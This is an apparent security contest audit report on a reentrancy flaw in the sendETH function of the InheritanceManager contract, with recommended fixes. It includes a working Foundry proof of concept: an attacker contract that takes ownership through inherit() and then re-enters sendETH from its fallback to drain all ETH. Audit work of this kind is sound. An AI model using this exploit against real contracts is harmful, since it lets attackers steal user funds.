Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

sendETH - A critical reentrancy vulnerability

alekseyts

Summary

A critical reentrancy vulnerability has been identified in the InheritanceManager contract's sendETH function. This vulnerability allows an attacker to drain all ETH from the contract through a reentrancy attack. Additionally, the attacker can take ownership of the contract due to improper state management.

Vulnerability Details

The vulnerability exists due to two main issues:

  1. Reentrancy Attack Vector:

  • The sendETH function sends ETH using a low-level call

  • State changes (deadline update) occur after the external call

  • Missing or improperly implemented reentrancy guard

  1. Ownership Manipulation:

  • The inherit function appears vulnerable to reentrancy

  • Attacker can gain ownership of the contract

  • Combined with the ETH drain vulnerability, this gives complete control to the attacker

The test demonstrates this by:

  1. Setting up the contract with 10 ETH

  2. Creating a malicious contract (BadGuyContract)

  3. Waiting for the inheritance period (90 days)

  4. Executing the attack which:

    • Takes ownership of the contract

    • Drains all ETH through reentrancy

Code snippet showing the attack flow:

//SPDX-License-Identifier: MIT
​
pragma solidity 0.8.26;
​
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
​
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
​
contract BadGuyContract {
InheritanceManager im;
​
constructor(address _im) {
im = InheritanceManager(_im);
}
​
function attack() public {
im.sendETH(1e18, address(this));
}
​
function attackOwnership() public {
im.inherit();
}
​
fallback() external payable {
if (address(im).balance >= 1e18) {
attack();
}
}
}
​
contract InheritanceManagerAuditTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
​
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
​
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
}
​
// test reentry sendETH
// fix: use correct key in 'nonReentrant' modifier
// test about incorrect place of _setDeadline
// fix: move '_setDeadline' above 'address.call{...}'
function test_sendETH_reentry() public {
address badGuyUser = makeAddr("badGuyUser");
​
uint256 amount = 10e18;
vm.deal(badGuyUser, amount);
vm.deal(address(im), amount);
​
BadGuyContract bgc = new BadGuyContract(address(im));
​
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
​
vm.warp(1 + 90 days);
​
assertEq(amount, address(im).balance);
assertEq(0, address(bgc).balance);
​
bgc.attackOwnership();
assertEq(im.getOwner(), address(bgc));
​
bgc.attack();
​
assertEq(0, address(im).balance);
assertEq(amount, address(bgc).balance);
}
}
​

Impact

Critical severity. The vulnerability allows:

  • Complete drainage of contract's ETH balance

  • Unauthorized takeover of contract ownership

  • Compromise of the entire inheritance management system

Tools Used

  • Manual code review

  • Foundry test framework

  • Custom test cases demonstrating the exploit

Recommendations

  1. Implement the Checks-Effects-Interactions pattern:

    • Move all state changes before external calls

    • Update deadline before sending ETH

  2. Add proper reentrancy protection:

    • Implement OpenZeppelin's ReentrancyGuard

    • Add nonReentrant modifier to sensitive functions

  3. Strengthen ownership controls:

    • Add reentrancy protection to ownership transfer functions

    • Implement additional checks for ownership transfer

Example fix structure:

import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
contract InheritanceManager is ReentrancyGuard {
function sendETH(uint256 amount, address to) external nonReentrant {
// State changes first
_setDeadline();
// External call last
(bool success, ) = to.call{value: amount}("");
require(success, "ETH transfer failed");
}
}

or

modifier nonReentrant() {
assembly {
// a: it should be 0 instead of 1, incorrect key is used
- if tload(1) { revert(0, 0) }
+ if tload(0) { revert(0, 0) }
tstore(0, 1)
}
_;
assembly {
tstore(0, 0)
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Wrong value in nonReentrant modifier

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!